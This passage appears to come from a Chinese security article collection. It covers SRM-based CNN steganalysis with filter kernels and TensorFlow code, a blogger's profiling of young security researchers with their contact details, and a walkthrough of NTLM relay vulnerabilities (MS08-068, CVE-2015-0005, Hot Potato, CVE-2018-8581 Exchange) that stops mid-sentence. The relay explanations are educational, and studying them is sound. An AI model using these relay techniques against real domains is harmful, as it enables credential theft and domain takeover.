[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[ 0. 1. 0. 0. 0.]

[ 0. 0. -2. 0. 0.]

[ 0. 0. 0. 1. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. -1. 0. 0.]

[ 0. 0. 3. 0. 0.]

[ 0. 0. -3. 0. 0.]

[ 0. 0. 1. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[0. 0. 0. 3. 0.]

[0. 0. -3. 0. 0.]

[0. 1. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[0. 0. 0. 0. 0.]

[0. 1. -3. 3. 0.]
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[0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[0. 1. 0. 0. 0.]

[0. 0. -3. 0. 0.]

[0. 0. 0. 3. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[0. 0. 1. 0. 0.]

[0. 0. -3. 0. 0.]

[0. 0. 3. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[0. 0. 0. 1. 0.]

[0. 0. -3. 0. 0.]

[0. 3. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[0. 0. 0. 0. 0.]

[0. 3. -3. 1. 0.]

[0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[0. 3. 0. 0. 0.]

[0. 0. -3. 0. 0.]

[0. 0. 0. 1. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[0. -1. 2. -1. 0.]

[0. 2. -4. 2. 0.]
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[0. -1. 2. -1. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[0. -1. 2. -1. 0.]

[0. 2. -4. 2. 0.]

[0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[0. 0. 2. -1. 0.]

[0. 0. -4. 2. 0.]

[0. 0. 2. -1. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[0. 0. 0. 0. 0.]

[0. 2. -4. 2. 0.]

[0. -1. 2. -1. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. 0. 0. 0.]

[ 0. -1. 2. 0. 0.]

[ 0. 2. -4. 0. 0.]

[ 0. -1. 2. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ -1. 2. -2. 2. -1.]

[ 2. -6. 8. -6. 2.]

[ -2. 8. -12. 8. -2.]

[ 2. -6. 8. -6. 2.]

[ -1. 2. -2. 2. -1.]]]

[[[ -1. 2. -2. 2. -1.]

[ 2. -6. 8. -6. 2.]

[ -2. 8. -12. 8. -2.]
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[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]]]

[[[ 0. 0. -2. 2. -1.]

[ 0. 0. 8. -6. 2.]

[ 0. 0. -12. 8. -2.]

[ 0. 0. 8. -6. 2.]

[ 0. 0. -2. 2. -1.]]]

[[[ 0. 0. 0. 0. 0.]

[ 0. 0. 0. 0. 0.]

[ -2. 8. -12. 8. -2.]

[ 2. -6. 8. -6. 2.]

[ -1. 2. -2. 2. -1.]]]

[[[ -1. 2. -2. 0. 0.]

[ 2. -6. 8. 0. 0.]

[ -2. 8. -12. 0. 0.]

[ 2. -6. 8. 0. 0.]

[ -1. 2. -2. 0. 0.]]]]

将它们先存储到数组 SRM_Kernels中，在定义变量卷积核W_SRM时，使用数组 SRM_Kernels初

始化变量，如下：

W_SRM = tf.get_variable(’W’, initializer=SRM_Kernels, dtype=tf.float32, regularizer=None)

17.5 隐写分析模型性能测试

本文应用了两个著名的内容自适应隐写算法来评估隐写分析模型的性能，即WOW、S-UNIWARD，使

用拥有 10000张图片的图像集 BOSSBase 1.01，将其图像缩放为 256Œ256后做隐写操作。随后即有

10000对原图、隐写图，选择 8000对做训练，剩余的各 1000对做验证和测试。

结果如下表，数据表示隐写分析的准确率。
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上图中，SRM+EC代表传统的手工提取特征的隐写分析模型，看结果可知，本文的模型对两种隐

写算法的检测准确率都很高，超过了传统的隐写分析模型，具备良好的效果

17.6 基于线性及非线性残差特征学习

在模拟线性残差进行隐写特征的学习时，可发现一个线性残差特征仅仅表现极少的目标位置邻域像素

的相关性变化，提取出的特征信息有限，而非线性残差特征能有效地弥补这个缺陷。因此，本文模拟

线性及非线性残差进行隐写特征的学习，提出了新的卷积神经网络隐写分析模型，它具有更佳的隐写

分析性能。

17.7 空域隐写分析新阶段发展历程

传统隐写分析算法基于手工特征的提取，典型代表是空域富模型 SRM。在其后相当长一段时间内，学

者们提出了一系列改进的隐写分析算法，但仍然沿用 SRM相邻像素相关性的核心思想和特征的获取

方式，因此没有产生意义重大的隐写分析成果。如今，SRM通过不断改进的高通滤波器已能从数据中

提取三万多维特征，然而这些高通滤波器的设计大多基于经验，缺乏严谨的论证和分析。有学者认为

从数据本身学习特征会更有效，随后越来越多的学者支持并尝试实现这一理念，在 GPU和深度学习

的支持下，隐写分析进入了新阶段。

2014年，Tan和 Li提出了第一个应用深度学习技术的隐写分析模型，它使用基于自编码器的卷积

神经网络（CNN）进行无监督学习。随后，学者们使用高通滤波器 (HPF)对图像进行预处理，从而提

高嵌入过程引入的隐写噪声的影响，并进行监督学习。2015年，Qian等人提出了第一个采用监督学习

方法的卷积神经网络模型。Xu等人提出了一个类似于 Qian的 CNN模型，不同的是，他们使用了一

个绝对值层 (ABS)和 1Œ1的卷积核来加强统计建模。2017年，Xu等人在 ResNet的启发下，提出了

一个新的 CNN模型，它由 20个卷积层组成。Ye等人提出了一个由 8个卷积层组成的空域 CNN模型，

它在预处理层添加了截断线性单元 (TLU)激活函数和一组滤波器，这组滤波器基于 SRM，被用于初

始化预处理层的卷积核，以获得线性残差特征图。2017年主要的趋势是应用 ResNet等优化了卷积神

经网络架构，同时模拟了 SRM的特征提取方式，显著提高了隐写分析的检测效果。2018年，Yedroudj

等人提出了一个由 5个卷积层组成的空域 CNN模型，该模型使用了基于 SRM特征提取方式的高通滤

波器作为预处理层的卷积核，并且在每一个卷积层中都加入了 BN。Zhang等人提出了新的 CNN模型，

它使用深度可分离卷积网络获得特征图通道和空间的相关性，加入 spatial pyramid pooling（SPP）处理

不同大小的图像，提高了特征表达的能力。

在空域中，模拟传统 SRM的手工提取线性残差特征的方法，学者们提出的隐写分析模型使用深度

学习技术从载密图像中学习了更丰富的隐写噪声，取得了优于 SRM的准确率。

现有的空域隐写分析 CNN模型都基于线性残差特征进行隐写分析，这些线性残差特征线性地组合

了多滤波器操作的残差信息。而 SRM研究表明，对多滤波器操作的残差信息进行非线性组合同样能

有效地抑制图像内容的干扰，放大隐写痕迹。
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17.8 SRM的非线性残差

上一篇文章已经描述了 SRM 中线性残差的详细计算方法。对于非线性残差而言，如下图所

示，它可通过求取两个或者更多同类线性滤波残差的最大值或最小值得到。其中，Rij 表示某

一像素坐标为 (i,j) 的残差信息，水平、垂直、对角线、反对角线方向的残差表示为 Rh,Rv,Rd,Rm。

以一阶残差为例，要获得一阶非线性残差，首先通过计算获得所有一阶线性残差，再统计其最大最

小值即求得两个一阶非线性残差。下图是一阶线性残差原型，yij即待求取残差位置的像素值，yi,j+1

即待求取残差位置的像素值的一个邻域像素值。

将残差原型通过旋转变化，水平方向、垂直方向、对角线和反对角线方向各有 2个不同的线性残

差，即一共有 8个一阶线性残差，如下。

此时，一阶非线性残差如下。

非线性残差综合了同类线性残差的统计特征，全面反映了隐写嵌入改动引起的图像相邻像素相关

性变化情况，具有极高的应用价值。

17.9 基于线性、非线性残差的隐写分析模型

本隐写分析模型模拟了空域下线性和非线性残差特征的手工提取方式，模拟线性残差特征的方式见上

一篇文章模型的信息。这里主要描述非线性残差特征的详细内容。

17.9.1 模型中非线性残差特征的设计

基于 SRM的非线性残差统计特征更全面的特点，对空域下 SRM HPFs获取的线性残差信息进行非线

性变换，获得了非线性残差特征。

本文使用了一阶、二阶、三阶、SQUARE、EDGE3x3和 EDGE5x5的这六类 SRM高通滤波器（高

通滤波器详细信息可见上一篇文章），它们的数量分别是 8、4、8、2、4、4。这 30个高通滤波器参

与运算获得 30个线性残差特征图。一阶、二阶、三阶的非线性残差特征图各有 2个。SQUARE分

为 SQUARE3x3和 SQUARE5x5，它通过变换生成了 EDGE3x3和 EDGE5x5。因此，SQUARE3x3和

EDGE3x3本质上属于同一大类，一共有 2个线性残差特征图，SQUARE5x5和 EDGE5x5同理。因此，

这两大类各产生 2个非线性残差特征图。经统计获得对应的一共 10个非线性残差特征图。和使用线

性残差信息初始化卷积核的方式一样，也使用得到的非线性残差信息初始化卷积核，此时卷积核有 40

个通道，前 30通道使用线性残差初始化，最后 10通道使用非线性残差初始化。
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17.9.2 模型中非线性残差特征的实现

当获取每一张图像的非线性残差信息时，首先获取它的线性残差信息，此方法上一篇文章已描述。记

获取到的线性残差信息为 Resi，它有三十个通道，每个通道特征即为一份线性残差特征信息。

获取到 Resi后，将它的三十个通道切分开，即获得 30个线性残差特征信息。在 tensorflow框架下

切分方法如下：

inputnum0, inputnum1, inputnum2, inputnum3, inputnum4, inputnum5, inputnum6, inputnum7, inputnum8, inputnum9, inputnum10, inputnum11, inputnum12, inputnum13, inputnum14, inputnum15, inputnum16, inputnum17, inputnum18, inputnum19, inputnum20, inputnum21, inputnum22, inputnum23, inputnum24, inputnum25, inputnum26, inputnum27, inputnum28, inputnum29 =tf.split(inputnum, 30, 1)

在这 30个线性残差特征信息中，inputnum0至 inputnum7、inputnum8至 inputnum11、inputnum12

至 inputnum19、inputnum20至 inputnum24、inputnum25至 inputnum29分别是五大类线性残差信息，即

一阶线性残差、二阶线性残差、三阶线性残差、SQUARE3x3+EDGE3x3、SQUARE5x5+EDGE5x5这五

大类。

对每类残差特征信息进行非线性变换，即求得它们的最大最小值。以一阶线性残差这一类为例，代

码如下：

maxnum0 = maxnum(inputnum0, inputnum1)

maxnum0 = maxnum(maxnum0, inputnum2)

maxnum0 = maxnum(maxnum0, inputnum3)

maxnum0 = maxnum(maxnum0, inputnum4)

maxnum0 = maxnum(maxnum0, inputnum5)

maxnum0 = maxnum(maxnum0, inputnum6)

maxnum0 = maxnum(maxnum0, inputnum7)

minnum0 = minnum(inputnum0, inputnum1)

minnum0 = minnum(minnum0, inputnum2)

minnum0 = minnum(minnum0, inputnum3)

minnum0 = minnum(minnum0, inputnum4)

minnum0 = minnum(minnum0, inputnum5)

minnum0 = minnum(minnum0, inputnum6)

minnum0 = minnum(minnum0, inputnum7)

这样得到的 maxnum0、minnum0即为最大最小的一阶非线性残差信息。其中，maxnum和 minnum

函数分别定义如下：
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17.10 隐写分析模型性能比较

本文称仅模拟线性残差特征提取的隐写分析模型为 ‘线性模型’，仅模仿非线性残差特征提取的隐写分

析模型为 ‘非线性模型’，同时模拟线性和非线性残差特征提取的隐写分析模型为 ‘our model’,实现的

隐写分析实验如下表。

其中，表格中 Ye-Net是一个有名的卷积神经网络隐写分析模型。

首先分析 ‘线性模型’和 ‘非线性模型’。在WOW的隐写分析检测中，‘非线性模型’的准确率低于

‘线性模型’约 2%，但在 S-UNIWARD的隐写分析检测准确率低于约 3%~%6。本文认为非线性残差特

征粗糙地统计了每类线性残差特征的最大最小值，没有考虑每类中残差特征值在这一值域的分布特征，

因此没有较全面地反映所有可能的隐写嵌入改动引起的图像相邻像素相关性变化，即没有充分发挥非

线性残差特征的优势。但 ‘非线性模型’的准确率均高于 CNN隐写分析网络 Ye-Net，说明 ‘线性模型’

具有良好的竞争性，能增强隐写信息的特征表达。
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‘our model’对WOW和 S-UNIWARD的隐写分析检测效果均好于 ‘线性模型’和 ‘非线性模型’。在

嵌入率为 0.2的WOW和 S-UNIWARD隐写算法中，‘our model’的隐写分析准确率高于 ‘线性模型’和

‘非线性模型’约 0.3%到%6，效果不特别显著，对比高嵌入率隐写分析准确率可知，这主要是隐写过

程中嵌入秘密信息过少造成的，说明本文设计新型线性非线性隐写分析模型仍然可行。
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作者：404 Not F0und

来源：https://mp.weixin.qq.com/s/QKKUSd3b-X2QQGkyZMQ2Xw

文章会偏长，因为不仅会体现处理过程和结果，更多想体现的其实是其中思考的过程。

18.1 关键字：青年安全圈、公开知识分享者和活跃者。

因为年长的大师傅们受限于工作事业家庭孩子等，很少高频更新技术文章分享知识了。

18.2 最初目的：丰富自己

最近读的一篇文章中有句话触动了我，‘‘不要过度 focus在自己工作的小领域，要有全局化的眼光，特

别是自己的上游和下游’’，细细思考了一下，确实有些道理，自己的小领域可以看成是点，上游和下

游是线，全局是面，也即是 ‘‘点-线-面’’体系，而以后的职业发展中，肯定是从点->线->面，现在早

学习早积累，就能在以后发展的过程中先别人一步，所以笔者打算扩充一下自己的知识库。

平时学习的安全知识数据源主要来源于微信系列和知乎系列，慢慢的深感个人日常安全阅读资源

的不足与局限，需要从新的数据源来补充，同时看看其他安全从业者在干嘛。

经过权衡笔者选择了人作为切入点，更具体的来说选择了博客作为切入点。为什么选择博客？而

不是选择微博？Twitter？Github？

安全技术博客的优点是：博客内容较 Twitter等更完整且详实，阅读与吸收知识门槛较低；博客可

以一定程度上刻画博主，因为博客内容含有博主的许多个人公开信息，例如 Github、Twitter、Zhihu、

邮箱、所属的安全团队、毕业的高校和就业的公司等；博客内容的传播性广，易于知识分享与传播；

博客内容能反映博主的主要研究方向，可以聚焦学习。

安全技术博客的缺点是：信息滞后性，Twitter和各大公司预警才是王道。所以总的来说，博客更

专注于知识的分享和吸收，其他社交方式更专注于知识的传播。

之后在不断的阅读过程中，觉得独乐乐不如众乐乐，能对外输出点什么呢？这就有了延续性的目

的。

18.3 延续性目的：方便他人

以人为核心，系统化收集博客、Github、当前主要研究方向、所属安全组织、学校、公司、RSS、知

乎、微博、Email等公开信息，缩小安全圈的范围，达到信息检索的目的，通过关键字检索，方便找

人，缩小人与人之间的交流障碍。比如通过高校关键字，可以快速找到校友，通过网络 ID快速找到博

主；达到安全内容学习的目的，例如从主要研究方向入手，Follow不同方向活跃博主，补充阅读资源，

紧追安全前沿；达到数据分析的目的，挖掘人与人之间的社交网络，同时判断自己当前所处位置，指

引未来发展方向。
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18.4 数据采集

重点思考了一下从哪采？如何采？怎么保证数据的准确性和及时性？可能存在的问题？

采集的起始点应该选择具有一定影响力辐射范围广的安全人员/安全组织/安全门户等站点，安全门

户比如 sec-wiki上的安全网址聚合，亲测了一下发现很多数据的及时性不好（及时性这点也给后续工

作埋了坑），都是老数据，无法访问了。最终选择了 L Team作为起始采集点，原因有三，一是 L在青

年安全圈较为知名，二是 L Team薪火相传，团队成员上到工作几年的冷夜师傅和 P师傅，下到目前

大二大三大四的师傅们，无论是年龄还是技术覆盖范围都很广，而且许多成员都是安全圈活跃的技术

大佬，三是团队成员多，可用的采集起点很多。

那么如何采集呢？写爬虫自动化爬吗？不太现实，原因有几点：1、如果是少数几个站点，可以针

对站点结构有针对性写个爬虫爬数据，这点碳基体师傅已经实现并分析过了《从内容产出看安全领域

变化》；2、相对于碳基体师傅的安全趋势分析，本文侧重点在人，需要精细化数据和处理，预期想获

取的数据格式是能自动化准确的及时的爬到这些的怕是只有 google？回想到笔者的本意其实是阅读和

吸收安全知识，为何不 ‘‘人工智能’’在进行 ‘‘深度学习’’和广度学习阅读吸收的同时顺手采集预期信

息呢，这样也就保证了数据的准确性和暂时的及时性。

笔者在跟着学习的，笔者觉得不错推荐的，索引 ID，网络 ID，活跃的博客链接，个人 (1)/团

队 (2)/公司 (3)博客，友情链接的索引 ID，Github地址，微博地址，主要研究领域，所属安

全团队，所属高校/公司，技能标签（PHP？Python？Java），人物标签（摄影？动漫？文艺），

RSS订阅地址，推特地址，知乎地址，邮箱地址，联系方式（QQ？微信？），著名开源项目

当笔者花了快一个月时间大致浏览完了 500+个安全博客，筛选出了 450个较优质且目前还活跃的

博客后，笔者发现囫囵吞枣硬塞到脑子里的知识都要溢出来了，本来一点不懂二进制安全的，现在也

知道一些常见操作了，本来不跟进最新漏洞的，也知道最近哪些漏洞最火了，对青年安全圈整体的水

平也有了粗浅的理解。

可能存在的问题主要有二：一是受限于采集策略（采集起点，判断是否是活跃安全技术博客的策

略等）和不可控因素（网站在墙内墙外的可访问状态，网速，域名 ip变更等），最终采集的数据一定

只是局部数据，不代表整体，就像 p师傅指出的那样，‘‘数据是最新的，不过可能和美国大选的民调

一样，你调查的人几乎都是会接受采访的人，导致很多人被忽略了，得出相反的结论’’。二是不能自

动化爬取的话，数据以后的及时性无法保证。

18.5 数据分析

首先分析一下安全人员的个人属性，比如网络 ID、Blog SSL、CTF和主要研究方向。

统计已有的数据可以发现，大约 90%的安全人员习惯使用小于 10个字符的网络 ID

同时大约有三分之一安全人员的网络 ID常用字母 +数字组合

笔者有一个直观的感觉是很多 CTF大佬的 ID都是字母 +数字组合，那么字母 +数字组合是不是

CTF的标志呢？

可以看出五五开，不是一个明显标志。
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Figure 18.2: img
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Figure 18.3: img

在采数据的过程中发现很多师傅们都用了 HTTPS（专业），经过统计有 63.5%的师傅们用了 HTTPS，

在没换 HTTPS的师傅们中，发现有 42%是打 CTF的师傅们，分析了一下大多还是在校本科生。

另外有 44.4%热爱知识记录、分享和传播的安全人员打过 CTF，看来 CTF或已经成为青一代安全

人员的必修课，同时 CTF选手更活跃于在博客写技术文章（writeup来凑 QaQ）。当然也可能是数据本

身造成的问题，这个之前提到了，可能爬取的数据陷入到了某个局部中，不能代表整体。

笔者根据个人理解，在阅读博客文章时对博主们的主要安全研究方向打了标签，分析了一下青一

代安全人员的研究方向分布现状，这里列出其中部分数据

可以看到现阶段青一代安全博主的研究方向主要集中在 CTF、Web安全、安全研究、漏洞分析、代

码审计等应用安全方向，做逆向、PWN、安全开发、企业安全建设、机器学习等方向的青年安全人员

还比较少。

再分析一下安全人员的组织结构，比如：Blog友情链接、安全团队、所在高校。

从 Blog友情链接关系看安全人员结构，使用入度作为标签尺寸的衡量标准，发现 P师傅简直是个

黑洞，可以得到：P师傅牛逼（破音），同时得到在博客这个渠道，青一代最有影响力的安全技术公开

分享者可能是 P师傅。

说可能的原因有几点：一是如果不是选 L Team作为采集起点，毕竟 L Team和 p师傅紧密相关，而

选用其他安全站点作为起点的话，结果会不会还是一样的呢？猜想一下，如果从另一个入口作为采集

起点的话，那么很可能还是会被 P师傅这个黑洞所吸引？！除非有更大的黑洞？二是有很多师傅的博

客都没挂友链或是在默默发育，比如 rr师傅，你能说 rr不 open，没有影响力吗？显然是不能的，安全

圈谁不认识 rr（rrtql），再比如鬼才 evil7师傅，博客挂了好像，显然也没能体现出来。
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Figure 18.4: img
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Figure 18.5: img
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Figure 18.6: img

从安全人员所属高校看安全人员结构，明面上的数据有近 30%的安全人员在博客中注明了所属高

校，他们主要是西安电子科技大学、成都信息工程大学、电子科技大学、杭州电子科技大学、厦门大

学、武汉大学、山东科技大学、南京邮电大学、北京邮电大学、东南大学等。可以看到都是很厉害的

高校，这是否一定程度上代表着青一代安全已经进入了高学历的深水区？！虽然从博客入口得到的数

据只是青年安全圈公开活跃、公开知识分享人员的一部分。

看一下高校聚类的结果

可以看到，虽然是从西安电子科技大学 L Team作为起点，但还是被成都信息工程大学这个大黑洞

所吸引。成信大牛逼，学习网络安全，欢迎报考成都信息工程大学。

再带上高校标签看一下安全博主博客友链之间的关系：

西电的当家双花旦是 P 师傅和冷夜师傅，成信大的三大研究员 l3mon 柠檬师傅、Tomato 师傅、

AppLeU0师傅，杭电的 veritas501师傅、电子科大的 Cyru1s打通两校安全连接，山科大的 p0desta和

p0破带头冲锋，厦大的 chybeta认识成电的小姐姐（xmsl），等等，其中关系错综复杂，许多意料之外，

但又在情理之中。这部分可以给出的有价值信息是：Follow这些骨干节点博主的博客，跟着大师傅们

学习！！

从安全组织看，r3kapig、Nu1L、XDSEC、Sysclover四大组织活跃人数众多。

最后从安全人员的结果产出角度分析一下数据，比如 Github、RSS。
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Figure 18.7: img
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Figure 18.8: img
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Figure 18.9: img

不仅从博主们的博客内容中可以学到很多安全知识，博主们的 Github也有很多有意思的项目，笔

者根据这些师傅们的 Github地址，收集整理了一批 star数在三位及以上的优质项目资源，笔者把它

叫做 Github&&大安全。Github安全相关项目主要分为两类，知识和工具，有很多师傅们总结了例

如内网渗透的知识库、Web安全的知识库、企业安全建设的工具集合或是单个的某小方向安全工具，

Github&&大安全旨在做一个优质安全项目的大索引。

针对博主们博客的 RSS，我们也可以做很多有意思的事，可以集中导入 RSS阅读器，也可以有

针对性的导入，比如根据研究方向/安全团队/高校挑选 RSS数据导入阅读器，其中的研究方向不只

Web安全这种大方向，笔者还做了精细化处理，标记了 Java代码审计、安全开发、域渗透、IoT安全、

Windows安全、区块链安全等细分方向和小众方向。

18.6 持续产生价值

第一，一次性扩充了自己的视野和知识库，以人为核心，理解了青年安全从业者及其安全研究工作。

第二，挑选了 24个现阶段和未来一段时间适合自己补充学习的安全博客，规划指导自己的学习。
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第三，精挑细选分研究方向标记了 36个高频更新、质量不错的安全博主和博客，持续关注，这些

博主都是每个方向具有代表性的师傅，有渗透测试、漏洞分析、入侵检测、CTF、逆向、PWN、代码审

计、无线安全、Web安全、主机安全和安全研究方向，虽然和这些博主可能不是同一个方向，但是还

记得文章开头时候说过的吗？不仅要 focus在自己的领域，还要有全局视角。已经用 Star字段标记了。

最后，给出了一份价值较高的原始数据，读者可以自行利用这批数据做很多有意思的事情，信息

检索，内容学习，数据分析。

为了移动端随时查阅数据，做了个自用的小程序，比如在安全的群里看到一个 ID，就可以检索信

息，提高效率。

18.7 Ref

安全圈有多大？也许就这么大！- gainover

安全博客友链数据分析可视化

《从内容产出看安全领域变化》

tanjiti / sec_profile

CyberSecurityRSS
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Windows内网协议学习 NTLM篇之 NTLM漏洞概述

作者：daiker@灵腾实验室（360RedTeam）团队

来源：https://www.anquanke.com/post/id/194514

传送门：

Windows内网协议学习 NTLM篇之 NTLM基础介绍

Windows内网协议学习 NTLM篇之发起 NTLM请求

Windows内网协议学习 NTLM篇之 Net-NTLM利用

Windows内网协议学习 LDAP篇之 Active Directory简介

Windows内网协议学习 LDAP篇之组和 OU介绍

19.1 0x00前言

这是 NTLM篇的最后一篇文章了，在之前已经花了三篇文章阐述了跟 NTLM_Relay有关的方方面面的

内容。在这篇文章里面将要介绍下签名，他决定了 NTLM_Relay能不能利用成功。以及我们将会介绍

跟 NTLM_Relay相关的一些漏洞,MS08-068,MS16-074,CVE-2015-0005,CVE2019-1040,CVE-2019-1384，

将整个 NTLM_Relay漏洞利用串起来。在之后阐述 NTLM_Relay漏洞利用链的时候，我们会主要从一

下三方面阐述。

1. 怎么发起 ntlm请求

2. 拿到 ntlm请求之后要做什么

3. 服务端是否要求签名

19.2 0x01 SMB签名以及 LDAP签名

19.2.1 1. 关于签名的一点细节

当认证完毕之后，使用一个客户端和服务端都知道的 key对后续所有的操作进行加密，攻击者由于没

有 key，也没法对内容进行加密解密，所以也就没办法进行 Relay,最多只能将流量原封不动转发过去。

那这个 key是什么呢。之前在网上看到的一个说法就是这个 key是 session_key，需要使用用户 hash去

生成，攻击者没有用户 hash(有也就不需要 Relay了，直接 pth多好)，所以没有 session_key,也就是没

办法加解密，这个时候签名也就起到了防御 Relay的效果。

这种解释也没错，都说得通。直到有一天，我跟@xianyu师傅，在 winrm的流量中发现了一个字

段，session_key。高兴了很久，以为是微软的疏忽泄漏了 session_key，那不就可以跟 CVE-2015-0005

一样绕过了签名从而进行 relay了嘛。但是在进行一番研究之后，发现事情好像没有这么简单。在整

个签名环节并非只有一个 key。下面详细介绍下三个 key，比较绕，大家大致理解下。(对于 3个 key的

命名，不可地方表述不同)

1. exported_session_key
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def get_random_export_session_key():

return os.urandom(16)

这个 key是随机数。如果开启签名的话，客户端和服务端是用这个做为 key进行签名的。

1. key_exchange_key

这个 key使用用户密码，Server Challenge,Client Challenge经过一定运算得到的。

2. encrypted_random_session_key

前面说过开启签名的话，客户端是使用 exported_session_key做为 key进行加密解密的，而 ex-

ported_session_key是客户端生成的随机数，那服务端不知道这个 key。这个时候就需要协商密钥。

encrypted_random_session_key的生成如下图所示，使用 key_exchange_key做为Key,RC4加密算法

加密 exported_session_key。 encrypted_random_session_key

在流量显示是 Session Key. 这个是公开的，在流量里面传输给服务端，服务端拿到这个的话，

跟 key_exchange_key一起运算得到 exported_session_key，然后使用 exported_session_key进行加解

密。 对

于攻击者，由于没有用户 hash，也就没办法生成 key_exchange_key，虽然在流量里面能够拿到 en-

crypted_random_session_key，但是没有 key_exchange_key，也就没办法运算出 exported_session_key，

也就没法对流量进行加解密。从而进行 Relay。
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19.2.2 2. SMB签名

有些地方表述为个人 pc 默认没有开启 smb 签名，服务器计算机默认开启 smb 签名，在我实际测

试中发现这个说法是不正确。在域内的默认设置是仅在域控制器上启用，域成员机器并没有启用。
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19.2.3 3. LDAP签名

在默认情况底下，ldap 服务器就在域控里面，而且默认策略就是协商签名。而不是强制签

名。也就是说是否签名是有客户端决定的。服务端跟客户端协商是否签名。(客户端分情

况，如果是 smb 协议的话，默认要求签名的，如果是 webadv 或者 http 协议，是不要求签名

的) 微

软公司于 2019-09-11日发布相关通告称微软计划于 2020年 1月发布安全更新。为了提升域控制器的

安全性，该安全更新将强制开启所有域控制器上 LDAP channel binding与 LDAP signing功能。

19.3 0x02漏洞概览

19.3.1 1. MS08-068

在这之前，当拿到用户的 smb请求之后，最直接的就是把请求 Relay回用户本身，即 Reflect。从而控

制机子本身。漏洞危害特别高。微软在 kb957097补丁里面通过修改 SMB身份验证答复的验证方式来

防止凭据重播，从而解决了该漏洞。防止凭据重播的做法如下:
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主机 A向主机 B(访问\B)进行 SMB认证的时候，将 _pszTargetName_设置为 cifs/B,然后在 type

2拿到主机 B发送 Challenge之后，在 lsass里面缓存 (Challenge,cifs/B)。

然后主机 B在拿到主机 A的 type 3之后，会去 lsass里面有没有缓存 (Challenge,cifs/b)，如果存

在缓存，那么认证失败。

这种情况底下，如果主机 B 和主机 A 是不同的主机的话，那 lsass 里面就不会缓存 (Chal-

lenge,cifs/B)。如果是同一台主机的话，那 lsass里面肯定有缓存，这个时候就会认证失败。

19.3.2 2. CVE-2015-0005

本文前面说过，在签名的情况底下。对于攻击者，由于没有用户 hash，也就没办法生成 key_exchange_key，

虽然在流量里面能够拿到 encrypted_random_session_key，但是没有 key_exchange_key，也就没办法算

出 exported_session_key，也就没法对流量进行加解密。从而进行 Relay。

攻击者一旦拿到 key_exchange_key的话，就可以进行 Relay。而 CVE-2015-0005正好是泄漏了这个

key，因此这里单独拿出来说说。

之前的文章说过，在域内进行 NTLM_RELAY的时候，如果登录的用户是域用户，这个时候认证服

务器本地是没有域用户的 hash的，这个时候会通过 NETLOGON把 type 1,type 2,type 3全部发给域控，

让域控去判断。并不是向域控索要域用户的 hash。那在认证之后，由于没有用户的 hash，也没有办法

算出 key_exchange_key，这个时候认证服务器就会通过 NETLOGON去找域控索要 key_exchange_key。

从而算出 exported_session_key。
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但是这个漏洞就出在，不是只有认证服务器才能找域控索要 key_exchange_key，只要是机器用户来

索要 key_exchange_key，域控都会给，并没有做鉴权。我们拥有一个机器用户的话，可以去找域控索

要 key_exchange_key，然后跟流量里面的 encrypted_random_session_key算出 exported_session_key，使

用 exported_session_key进行加解密。

对于该漏洞，在 impacket的 smbrelayx.py已经集成

不需要指定额外的参数，当发现服务端要求进行签名的时候就会自动调用 (当然，需要指定一个机

器用户以及他的凭据，不然漏洞无法利用)

19.3.3 3. MS16-075

这个漏洞也叫 Hot Potato，从这个漏洞引申出很多 Potato，比如 Rotten Potato，Ghost potato。

这是一个典型的 NTLM_RELAY利用链。按照 Relay的一般流程，我们从三方面着手，将思路串起

来，达到本地提权的效果。

1. 怎么发起 ntlm请求
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发起 ntlm请求请求的方式我们最早在Windows内网协议学习 NTLM篇之发起 NTLM请求里面

已经说过，就是配合 NBNS投毒欺骗和伪造WPAD代理服务器拿到用户的 Net-NTML hash，所

有的 HTTP请求将会被重定向至 “http://localhost/GETHASHESxxxxx”’’，其中的 xxxxx表示的是

某些唯一标识符。将会影响目标主机中所有的用户，包括管理员账户和系统账户。更多关于

NBNS和 wpad的细节，在之前的文章已经说过了，这里不再赘述。

2. 拿到 ntlm请求之后要做什么

MS08-068虽然限制了同台主机之间 smb到 smb的 Relay，但是并没有限制从 http到 smb，我们

配置配合 NBNS投毒欺骗和伪造WPAD代理服务器拿到的 ntlm请求说 http的形式，我们可以

直接 relay到本机的 smb。

3. 服务端是否要求签名

我们 Relay到的服务端协议是 smb，除非是域内的域控，不然在工作组环节底下，或者域内的域

成员机器，都是不要求签名的。

19.3.4 4. CVE-2018-8581

这个漏洞最早是一个 SSRF漏洞。可以访问任意用户的邮件。

该漏洞由 SSRF漏洞结合 NTLM_RELAY可以访问任意用户的邮件，获取域管权限。按照 Relay的

一般流程，我们从三方面着手，将思路串起来，从而达到获取域管的效果。

1. 怎么发起 ntlm请求

Exchange允许任何用户为推送订阅指定所需的 URL，服务器将尝试向这个 URL发送通知。问

题出在 Exchange服务器使用CredentialCache.DefaultCredentials进行连接。传进的 URL我们可控，

也就说我们可以控制 Exchange 服务器向我们发起 HTTP 协议的 NTLM 请求。我们就能拿到

Exchange机器用户的 Net-Ntlm Hash。如图中的步骤 1，步骤 2所示。

2. 拿到 ntlm请求之后要做什么
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当我们拿到 ntlm请求的时候网上主要有两种利用思路。

(1)思路 1访问任意用户的邮件

由于 Exchange服务器还默认设置了以下注册表项

